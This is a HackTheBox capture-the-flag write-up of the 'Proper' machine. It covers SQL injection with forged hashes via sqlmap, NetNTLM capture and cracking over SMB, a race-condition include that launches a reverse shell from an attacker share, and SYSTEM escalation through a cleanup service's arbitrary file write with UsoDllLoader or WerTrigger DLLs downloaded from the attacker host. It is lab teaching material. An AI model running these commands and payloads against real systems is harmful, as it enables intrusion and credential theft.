SQLi, ToC/ToU & Arbitrary File Write - Proper @ HackTheBox
User
We start our exploration by running a full portscan:
1
2
3
4
5
6
7
nmap -sV -sC proper.htb
PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Only port 80 is reachable from the outside, so we continue to have a first look at the website. It seems to be a product page of a company selling various optimization products e.g. “Memdoubler Pro”, “Cleaner Pro” and so on. Looking at the history in burp we can see that a suspicious looking request was made to the site:
1
GET /products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b HTTP/1.1
This order parameter looks like it could belong to a SQL Statement, e.g.: something like select id, name from users order by id desc
. Here the developer seems to do the ordering in the backend by controlling the order parameter. The meaning of the hash value is however unclear at this point. Playing a bit with the request shows some interesting behaviour:
- Changing
desc
toasc
leads toForbidden - Tampering attempt detected
- Changing
id
toname
leads also toForbidden - Tampering attempt detected
- Changing the value of
h
to any other value leads toForbidden - Tampering attempt detected
- Omitting
h
leads to an interesting disclosure which we can see below
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- [8] Undefined index: h
On line 6 in file C:\inetpub\wwwroot\products-ajax.php
1 | // SECURE_PARAM_SALT needs to be defined prior including functions.php
2 | define('SECURE_PARAM_SALT','hie0shah6ooNoim');
3 | include('functions.php');
4 | include('db-config.php');
5 | if ( !$_GET['order'] || !$_GET['h'] ) { <<<<< Error encountered in this line.
6 | // Set the response code to 500
7 | http_response_code(500);
8 | // and die(). Someone fiddled with the parameters.
9 | die('Parameter missing or malformed.');
10 | }
11 |
// -->
Parameter missing or malformed.
Here we can see that the order
and h
parameter are required. In addition we see a SECURE_PARAM_SALT
of value hie0shah6ooNoim
. This salt value is involved in producing a correct hash that the application would accept. A common way to use a salt value is to prepend it to the thing we are hashing, in this case some trial and error leads to:
1
2
printf 'hie0shah6ooNoimid desc' | md5sum
a1b30d31d344a5a4e41e8496ccbdd26b
The complete content of the order parameter id+desc
is prepended by the salt and hashed with md5sum. With this knowledge we can now alter the order value without getting an error:
1
2
3
4
5
6
printf 'hie0shah6ooNoimid asc' | md5sum
181345bd7fce37aad011ea65a41b60c8 -
GET /products-ajax.php?order=id+asc&h=181345bd7fce37aad011ea65a41b60c8
...
HTTP/1.1 200 OK
As we suspect a SQL Injection we try to inject a double quote:
1
2
3
GET /products-ajax.php?order=id+asc"&h=3b021c612d3c8c11782f725bb71f3e4a
...
HTTP/1.1 500 Internal Server Error
This gives a code 500 response so we are on the right track. SQLMap can be used to exploit the injection, using eval to forge the hash:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
sqlmap -u 'http://proper.htb/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b' --eval="import hashlib;h=hashlib.md5('hie0shah6ooNoim'.encode('ascii')+order.encode('ascii')).hexdigest()" --threads 10 --dbs
...
available databases [3]:
[*] cleaner
[*] information_schema
[*] test
sqlmap -u 'http://proper.htb/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b' --eval="import hashlib;h=hashlib.md5('hie0shah6ooNoim'.encode('ascii')+order.encode('ascii')).hexdigest()" --threads 10 -D cleaner --tables
...
Database: cleaner
[3 tables]
+-----------+
| customers |
| licenses |
| products |
+-----------+
sqlmap -u 'http://proper.htb/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b' --eval="import hashlib;h=hashlib.md5('hie0shah6ooNoim'.encode('ascii')+order.encode('ascii')).hexdigest()" --threads 10 -D cleaner -T customers --dump
...
+----+------------------------------+----------------------------------------------+----------------------+
| id | login | password | customer_name |
+----+------------------------------+----------------------------------------------+----------------------+
| 1 | vikki.solomon@throwaway.mail | 7c6a180b36896a0a8c02787eeafb0e4c (password1) | Vikki Solomon |
| 2 | nstone@trashbin.mail | 6cb75f652a9b52798eb6cf2201057c73 (password2) | Neave Stone |
| 3 | bmceachern7@discovery.moc | e10adc3949ba59abbe56e057f20f883e (123456) | Bertie McEachern |
| 4 | jkleiser8@google.com.xy | 827ccb0eea8a706c4c34a16891f84e7b (12345) | Jordana Kleiser |
...
All of the hashes crack to simple passwords. Now we need to find a place to use them:
1
2
3
ffuf -w /home/xct/tools/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://proper.htb/FUZZ
...
licenses [Status: 301, Size: 150, Words: 9, Lines: 2]
If we visit /licenses
we get a login prompt and can use any of the email/password combinations to login. This presents us with a new page, showing active licenses for the user. When we look at the page we notice that we can switch between several themes “Darkly”, “Flatly” and “Solar” – doing so sends a request like this:
1
GET /licenses/licenses.php?theme=flatly&h=a48e169864f4b46a09d36664ec645f75
We know that hash scheme already, so we can manipulate the theme variable:
1
2
3
4
5
'hie0shah6ooNoimhello"' | md5sum
ba9ac4b071328a96c3026d0ce5dcdaeb -
GET /licenses/licenses.php?theme=hello&h=d8b36c7ef1f12b1616b8538fc39e7081
HTTP/1.1 200 OK
This results in another error:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!-- [2] include(): Failed opening 'hello/header.inc' for inclusion (include_path='.;C:\php\pear')
On line 36 in file C:\inetpub\wwwroot\functions.php
31 | // Following function securely includes a file. Whenever we
32 | // will encounter a PHP tag we will just bail out here.
33 | function secure_include($file) {
34 | if (strpos(file_get_contents($file),'<?') === false) {
35 | include($file); <<<<< Error encountered in this line.
36 | } else {
37 | http_response_code(403);
38 | die('Forbidden - Tampering attempt detected.');
39 | }
40 | }
41 |
// -->
The error reveals that the value we pass in via the theme parameter is directly included, but there is a check in front which makes sure that the file being included does not start with <?
. The developer must have added this check to avoid a LFI vulnerability. As this is highly suspicious we try to include a file via RFI from our machine:
1
2
3
4
printf 'hie0shah6ooNoimhttp://192.168.216.129' | md5sum
99e437ad9a66db64de1b928f44b599b6
GET /licenses/licenses.php?theme=http://192.168.216.129&h=99e437ad9a66db64de1b928f44b599b6
...
We start a python webserver and can see that the request indeed hits it:
1
2
3
python3 -m http.server 80
...
192.168.216.130 - - [28/Jan/2021 19:01:27] "GET /header.inc HTTP/1.0" 200 -
This request is expecting a “header.inc” file to include. In the http response we can see however, that another error is generated:
1
2
<!-- [2] include(): http:// wrapper is disabled in the server configuration by allow_url_include=0
...
The http wrapper is disabled – so we will not get a RFI via HTTP here. As this is a windows target, we can however try smb. We start an impacket smb server and try it:
1
2
3
4
smbserver.py -smb2support user user
printf 'hie0shah6ooNoim\\\\192.168.216.129\\private' | md5sum
912f0d9ccd545f99aa714b7688316669 -
GET /licenses/licenses.php?theme=\\192.168.216.129\private&h=912f0d9ccd545f99aa714b7688316669
This gives us a hit and a hash:
1
2
[*] User PROPER\web authenticated successfully
[*] web::PROPER:aaaaaaaaaaaaaaaa:19c9773a5d5d8781dd019f4578396102:010100000000000080a9ad82a0f5d6011b806a8e3ac1d7ce00000000010010005900440055004700640072007100480003001000590044005500470064007200710048000200100050004b00610061006a004e00590063000400100050004b00610061006a004e00590063000700080080a9ad82a0f5d60106000400020000000800300030000000000000000000000000200000b3cc3caa1c8dc47ea48a763580dab67bfb4fa9779383f3bd055917aa2879b1830a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310036002e003100320039000000000000000000
Since null sessions are no longer allowed on windows by default, we can not include the file here. Cracking the hash is however possible:
1
2
3
john -w=rockyou.txt hash.txt
...
charlotte123! (web)
We now know the password of the user reaching out to us: charlotte123!
. This allows us to create an authenticated share:
1
smbserver.py -smb2support private private -user web -password 'charlotte123!'
We place a header.inc
file just containing the string “hello” inside a private
subfolder and request it. This indeed requests the file from our share and the server prints hello.
Now the only problem left is the tag filtering for php. We notice that check is done with file_get_contents
which opens, and then closes the file. The include
function will open it again, leaving the possibility for using a race condition to swap the file after the check.
We create a “header.inc.big” file with dd bs=1M count=10 > header.inc.big < /dev/zero
and a payload file “pwn.inc”:
1
<?php echo "Hello World";system("\\\\192.168.216.129\\private\\xc_192.168.216.129_1337.exe"); ?>
This payload will execute an xc (https://github.com/xct/xc) payload from our samba share to give us a reverse shell. Now we make sure “header.inc” that is requested first, is the big file, and then swapped after the first request by the payload:
1
2
3
cp header.inc.big header.inc ; inotifywait header.inc; sleep 2 ; cp pwn.inc header.inc
...
GET /licenses/licenses.php?theme=\\192.168.216.129\private&h=912f0d9ccd545f99aa714b7688316669
This results in a shell as web and allows it read the user flag:
1
2
3
4
[xc: C:\inetpub\wwwroot\licenses]: whoami
proper\web
[xc: C:\inetpub\wwwroot\licenses]: type C:\users\web\desktop\user.txt
01953ac7e2cdac01f8aab1911f7cc5ab
Root
We start by running PrivescCheck by itm4n, which reveals a custom service:
1
2
3
4
5
Name : cleanup
DisplayName : Cleanup
ImagePath : "C:\Program Files\nssm.exe"
User : LocalSystem
StartMode : Automatic
We can see a custom service called “cleanup” and in “C:\Programdata” we can see a folder “Cleanup” but its empty. Another Cleanup folder can be found in “C:\Program Files” and contains 2 binaries and a readme:
1
2
3
11/15/2020 04:03 AM 2,999,808 client.exe
11/15/2020 09:22 AM 174 README.md
11/15/2020 05:20 AM 3,041,792 server.exe
README.md:
1
2
3
4
5
6
7
8
9
10
11
12
# Cleanup
We find the garbage on your system and delete it!
## Changelog
- 31.10.2020 - Alpha Release
## Todo
- Create an awesome GUI
- Check additional path
We learn from this, that the application is finding somehow “garbage” files and deleting them, which is what several AV vendors have as a feature as well. It is safe to assume that server.exe is the service we have been seeing earlier. We run “client.exe” and get the following output:
1
Cleaning C:\Users\web\Downloads
It seems to look for garbage files inside the users downloads folder, so we try to place a file and run it again:
1
2
3
4
5
[xc: C:\Program Files\Cleanup]: echo "1234" > \Users\web\Downloads\test.txt
[xc: C:\Program Files\Cleanup]: client.exe
Cleaning C:\Users\web\Downloads
xc: C:\Program Files\Cleanup]: dir \Users\web\Downloads
01/28/2021 10:45 AM 12 test.txt
But this does not seem to have changed anything as the file is still there. To get some more insight into what both binaries actually do, we copy them to our attacker machine and analyze them in ghidra. Note that you will need the plugin “https://github.com/felberj/gotools” or something similar, as this is a go application and is a real mess to analyze without a golang plugin (same goes for using IDA).
From Reversing the client binary we learn a few key points. There is a “clean” and a “restore” method. The restore method seems to be triggered by providing “-R” followed by a file path:
1
2
3
4
if (*(short *)DAT_005fd210[2] == 0x522d) { // -R
local_58 = 7;
local_38 = &DAT_0051d7b0;
}
In the clean method we can see that there is condition on when a file gets cleaned:
1
2
3
4
5
os.Stat();
(*local_8)();
if (0x278d00 < (local_e0 + -0xe7791f700) - (longlong)&stack0xfffffff1886e08d8) {
main.serviceClean();
}
The result of os.Stat() is compared to 0x278d00 (2592000 = 30 days). So only files older than 30 days will be cleaned/deleted.
Looking at server shows us a decrypt and a encrypt method. Reversing this a bit further shows that the encrypt method is AES encrypting the file on “clean”
and putting a copy into C:\Programdata\Cleanup so it can be restored later. This copy of the file has a base64 encoded file name. It is also possible to find the static AES key “180de01cd3e8acea6a16613a965ba259284” that is used, but it will not be required to solve this box. In addition we can see that several named pipe methods are used, so the service and the client binary communicate via named pipes.
Finally, we can proceed. We modify the timestamp of our test file, as we have learned it must be older than 30 days:
1
2
3
$(Get-Item C:\Users\web\Downloads\test.txt).creationtime=$(Get-Date "01/01/1990 06:00 am")
$(Get-Item C:\Users\web\Downloads\test.txt).lastaccesstime=$(Get-Date "01/01/1990 06:00 am")
$(Get-Item C:\Users\web\Downloads\test.txt).lastwritetime=$(Get-Date "01/01/1990 06:00 am")
Now the file is gone. If we look into “C:\Programdata\Cleanup” we can see the encoded and ecrypted copy was created:
1
2
3
4
5
6
7
dir \programdata\cleanup
Directory: C:\programdata\cleanup
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/28/2021 11:23 AM 104 QzpcVXNlcnNcd2ViXERvd25sb2Fkc1x0ZXN0LnR4dA== (C:\Users\web\Downloads\test.txt)
We can restore the file as follows:
1
2
.\client.exe -R C:\Users\web\Downloads\test.txt
Restoring C:\Users\web\Downloads\test.txt
Now we should be suspicious. The service (server.exe) is restoring and deleting this file and we saw that it runs with SYSTEM privileges. This leads to the following plan:
We can “clean” a payload of our choosing and then rename it inside “\programdata\cleanup”. This renaming will change the path where it will be restored, leading to a privileged file write. One way to abuse such a privileged file write is via UsoDllLoader (https://github.com/itm4n/UsoDllLoader) which requires a privileged write to C:\Windows\System32\WindowsCoreDeviceInfo.dll, in order to load it via the DiagTrack service.
After downloading & compiling the project we upload the malicious WindowsCoreDeviceInfo.dll into C:\users\web\downloads\ (Note that we will use the default payload with a changed port to 11337 here, any payload is fine though). We then change the timestamp and “clean” it:
1
2
3
4
5
6
7
8
9
10
iwr http://192.168.216.129/WindowsCoreDeviceInfo.dll -usebasicparsing -outfile C:\users\web\Downloads\WindowsCoreDeviceInfo.dll
$(Get-Item C:\Users\web\Downloads\WindowsCoreDeviceInfo.dll).creationtime=$(Get-Date "01/01/1990 06:00 am")
$(Get-Item C:\Users\web\Downloads\WindowsCoreDeviceInfo.dll).lastaccesstime=$(Get-Date "01/01/1990 06:00 am")
$(Get-Item C:\Users\web\Downloads\WindowsCoreDeviceInfo.dll).lastwritetime=$(Get-Date "01/01/1990 06:00 am")
"C:\program files\cleanup\client.exe"
dir \programdata\cleanup
-a---- 1/28/2021 11:34 AM 370744 QzpcVXNlcnNcd2ViXERvd25sb2Fkc1xXaW5kb3dzQ29yZURldmljZUluZm8uZGxs
We now copy the file into a new base64 encoded filename for its destination “C:\Windows\System32\WindowsCoreDeviceInfo.dll”:
1
copy \programdata\cleanup\QzpcVXNlcnNcd2ViXERvd25sb2Fkc1xXaW5kb3dzQ29yZURldmljZUluZm8uZGxs \programdata\cleanup\QzpcV2luZG93c1xTeXN0ZW0zMlxXaW5kb3dzQ29yZURldmljZUluZm8uZGxs
Finally we restore the file:
1
2
C:\Progra~1\Cleanup\client.exe -R C:\Windows\System32\WindowsCoreDeviceInfo.dll
Restoring C:\Windows\System32\WindowsCoreDeviceInfo.dll
And the file was indeed created:
1
2
dir \Windows\System32\WindowsCoreDeviceInfo.dll
-a---- 1/28/2021 11:37 AM 92672 WindowsCoreDeviceInfo.dll
We now trigger the exploit and use nc to connect to the spawned bind shell:
1
2
3
4
5
6
7
usoclient StartInteractiveScan
\programdata\nc.exe 127.0.0.1 11337
C:\Windows\system32>
whoami
nt authority\system
type C:\users\administrator\desktop\root.txt
d145f40d084e82566dd9007d6add4a00
Thanks @jkr for creating this box with me :)
Bonus
In case UsoDllLoader does not work (because of pending updates), you can use WerTrigger. It follows the exact same steps:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
iwr http://<ip>/WerTrigger/WerTrigger.exe -outfile WerTrigger.exe -usebasicparsing
iwr http://<ip>/WerTrigger/Report.wer -outfile Report.wer -usebasicparsing
iwr http://<ip>/WerTrigger/phoneinfo.dll -outfile phoneinfo.dll -usebasicparsing
copy phoneinfo.dll c:\users\web\downloads\
$(Get-Item C:\Users\web\Downloads\phoneinfo.dll).creationtime=$(Get-Date "01/01/1990 06:00 am")
$(Get-Item C:\Users\web\Downloads\phoneinfo.dll).lastaccesstime=$(Get-Date "01/01/1990 06:00 am")
$(Get-Item C:\Users\web\Downloads\phoneinfo.dll).lastwritetime=$(Get-Date "01/01/1990 06:00 am")
C:\Progra~1\Cleanup\client.exe
copy \programdata\cleanup\QzpcVXNlcnNcd2ViXERvd25sb2Fkc1xwaG9uZWluZm8uZGxs \programdata\cleanup\QzpcV2luZG93c1xTeXN0ZW0zMlxwaG9uZWluZm8uZGxs
C:\Progra~1\Cleanup\client.exe -R C:\Windows\System32\phoneinfo.dll
.\WerTrigger.exe
whoami && type c:\users\administrator\desktop\root.txt
The shell you get is pretty unstable so feel free to replace the payload inside phoneinfo.dll.